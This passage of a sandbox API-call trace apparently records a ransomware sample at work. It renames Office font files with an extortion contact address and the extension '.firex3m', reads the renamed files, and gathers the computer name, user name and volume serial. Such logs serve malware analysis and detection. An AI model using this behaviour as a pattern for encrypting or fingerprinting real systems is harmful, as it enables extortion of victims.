Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-32_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-32_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.882] Sleep (dwMilliseconds=0x1) [0274.886] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-30_contrast-black.png", len=0xa2 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-30_contrast-black.png") returned 1 [0274.886] GetProcessHeap () returned 0x630000 [0274.886] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b54) returned 0x6fe3bb0 [0274.886] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-30_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-30_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.887] Sleep (dwMilliseconds=0x1) [0274.915] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKI.TTF", len=0x42 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKI.TTF") returned 1 [0274.915] GetProcessHeap () returned 0x630000 [0274.915] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b24) returned 0x6fe3bb0 [0274.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocki.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0274.916] CloseHandle (hObject=0x70c) returned 1 [0274.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0274.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocki.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocki.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0274.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.917] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKI.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88594fb1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88594fb1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8909a9cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROCKI.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROCKIT~1.FIR")) returned 0x6d5040 [0274.917] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0274.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rocki.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0274.917] GetProcessHeap () returned 0x630000 [0274.917] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0274.918] GetProcessHeap () returned 0x630000 [0274.918] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7264620 [0274.918] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.918] ReadFile (in: hFile=0x70c, lpBuffer=0x71d5490, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 91 os_tid = 0x1274 [0067.707] GetProcessHeap () returned 0x630000 [0067.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6aff38 [0067.707] GetProcessHeap () returned 0x630000 [0067.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x22) returned 0x699918 [0067.707] GetEnvironmentVariableA (in: lpName="COMPUTERNAME", lpBuffer=0x6ebfe40, nSize=0x100 | out: lpBuffer="NQDPDE") returned 0x6 [0067.707] GetProcessHeap () returned 0x630000 [0067.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6b0fb0 [0067.707] GetEnvironmentVariableA (in: lpName="USERNAME", lpBuffer=0x6ebfe40, nSize=0x100 | out: lpBuffer="FD1HVy") returned 0x6 [0067.707] GetProcessHeap () returned 0x630000 [0067.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6b1160 [0067.707] GetEnvironmentVariableA (in: lpName="Temp", lpBuffer=0x6ebfe40, nSize=0x100 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0067.707] GetProcessHeap () returned 0x630000 [0067.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c) returned 0x66c418 [0067.707] GetVolumeInformationA (in: lpRootPathName="c:\\", lpVolumeNameBuffer=0x6ebfa98, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x6ebfba0, lpMaximumComponentLength=0x6ebfb9c, lpFileSystemFlags=0x6ebfb98, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x6ebfba0*=0xb4197730, lpMaximumComponentLength=0x6ebfb9c*=0xff, lpFileSystemFlags=0x6ebfb98*=0x3e702ff, lpFileSystemNameBuffer=0x0) returned 1 [0067.707] GetProcessHeap () returned 0x630000 [0067.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6afff8 [0067.707] GetProcessHeap () returned 0x630000 [0067.707] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x22) returned 0x699a38 [0067.708] GetProcessHeap () returned 0x630000 [0067.708] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6b0018 [0067.708] QueryPerformanceCounter (in: lpPerformanceCount=0x6ebfb78 | out: lpPerformanceCount=0x6ebfb78*=16105486237) returned 1 [0067.711] Sleep (dwMilliseconds=0x22) [0067.828] GetProcessHeap () returned 0x630000 [0067.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0067.828] GetProcessHeap () returned 0x630000 [0067.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0067.828] GetProcessHeap () returned 0x630000 [0067.828] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1028, Size=0xb) returned 0x6b0f38 [0067.828] GetProcessHeap () returned 0x630000 [0067.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0067.828] GetProcessHeap () returned 0x630000 [0067.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0067.828] GetProcessHeap () returned 0x630000 [0067.828] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0f38, Size=0xc) returned 0x6b0ea8 [0067.828] GetProcessHeap () returned 0x630000 [0067.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ff8 [0067.828] GetProcessHeap () returned 0x630000 [0067.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0067.828] GetProcessHeap () returned 0x630000 [0067.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0ea8, Size=0xd) returned 0x6b1010 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ff8 | out: hHeap=0x630000) returned 1 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1010, Size=0xe) returned 0x6b0f38 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fc8 | out: hHeap=0x630000) returned 1 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0f38, Size=0xf) returned 0x6b0e90 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0e90, Size=0x10) returned 0x6b0ed8 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0ed8, Size=0x11) returned 0x6b0038 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x12) returned 0x6b0058 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f80 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x13) returned 0x6b0038 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0067.829] GetProcessHeap () returned 0x630000 [0067.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x14) returned 0x6b0058 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x15) returned 0x6b0038 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x16) returned 0x6b0058 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x17) returned 0x6b0038 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x18) returned 0x6b0058 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x19) returned 0x693ab8 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ab8, Size=0x1a) returned 0x693c20 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0067.830] GetProcessHeap () returned 0x630000 [0067.830] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1b) returned 0x693ce8 [0067.830] GetProcessHeap () returned 0x630000 [0067.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ce8, Size=0x1c) returned 0x693c20 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1d) returned 0x693ce8 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ce8, Size=0x1e) returned 0x693c20 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1f) returned 0x693ce8 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ce8, Size=0x20) returned 0x693c20 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x21) returned 0x699b58 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699b58, Size=0x22) returned 0x699c18 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0067.831] GetProcessHeap () returned 0x630000 [0067.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c18, Size=0x23) returned 0x699b88 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699b88, Size=0x24) returned 0x699bb8 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699bb8, Size=0x25) returned 0x699b58 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699b58, Size=0x26) returned 0x6999d8 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6999d8, Size=0x27) returned 0x699bb8 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699bb8, Size=0x28) returned 0x699a08 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a08, Size=0x29) returned 0x66c610 [0067.832] GetProcessHeap () returned 0x630000 [0067.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10b8 | out: hHeap=0x630000) returned 1 [0067.832] QueryPerformanceCounter (in: lpPerformanceCount=0x6ebfb78 | out: lpPerformanceCount=0x6ebfb78*=16117634976) returned 1 [0067.833] Sleep (dwMilliseconds=0x4) [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0f68, Size=0xb) returned 0x6b10d0 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b10d0, Size=0xc) returned 0x6b0f50 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0f50, Size=0xd) returned 0x6b0f98 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0067.938] GetProcessHeap () returned 0x630000 [0067.938] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0f98, Size=0xe) returned 0x6b10d0 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1070 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b10d0, Size=0xf) returned 0x6b1058 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10a0 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 1 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1058, Size=0x10) returned 0x6b1100 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1100, Size=0x11) returned 0x6b0038 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x12) returned 0x6b0058 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x13) returned 0x6b0038 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0067.939] GetProcessHeap () returned 0x630000 [0067.939] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0038, Size=0x14) returned 0x6b0058 [0067.939] GetProcessHeap () returned 0x630000 